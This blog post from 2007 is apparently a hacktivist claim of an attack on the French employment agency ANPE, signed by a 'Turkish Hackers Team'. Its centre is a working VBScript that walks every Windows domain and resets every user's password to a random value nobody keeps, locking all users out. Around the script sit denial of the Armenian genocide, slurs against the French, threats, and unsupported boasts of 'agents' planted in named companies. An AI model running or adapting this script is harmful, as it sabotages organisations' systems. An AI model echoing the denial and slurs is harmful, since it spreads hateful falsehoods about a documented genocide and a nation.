samedi 20 janvier 2007

ANPE HACKED

TURKISH HACKERS TEAM
More than 10 000 Turkish hackers are currently member of our secret society.
We believe in our immortal lieder MUSTAFA KEMAL ATATURK.
Our enemy, France and all the countries which seek to dirty Turkey.
Because the French whores want to make believe in a lie, the Armenian genocide, we smeared thousands of web sites.
Now, we pass to a case to the top and declare the war to France.
By introducing us by Internet into the information processing system of ANPE and carrying out this script.

Option Explicit
Dim objNameSpace, objDomain, objComputer, objUser, f, k, pws, lpws
Dim token

Set objNameSpace = GetObject("WinNT:")

For Each objDomain In objNameSpace
Set objComputer = GetObject("WinNT://" & objDomain.name )
objComputer.Filter = Array( "User" )
For Each objUser In objComputer
Randomize
k = int(rnd * 3) + 9
pws =""
for lpws = 1 to k
Randomize
token = int(rnd * 4)
If token = 0 then
Randomize
pws= pws & chr(int(rnd * 26) + 65)
end if
If token = 1 then
Randomize
pws= pws & chr(int(rnd * 26) + 97)
end if
If token = 2 then
Randomize
pws= pws & chr(int(rnd * 9) + 48)
end if
If token = 3 then
Randomize
pws= pws & chr(int(rnd * 11) + 33)
end if
next
objUser.SetPassword pws
Next
Next
Wscript.Echo "Fini"

We paralyzed the system. In addition, we left agents for surprise to come.

Cisco, Nortel, CheckPoint, Windows, UNIX, Linux, nothing resists to the Turkish Power.

We infiltrated in thousands French companies (Dassault, TOTAL, THOMSON, AREVA, OREAL etc). We posed agents.

Find them.

If you have time !…

NE MUTLU TURKUM DIYENE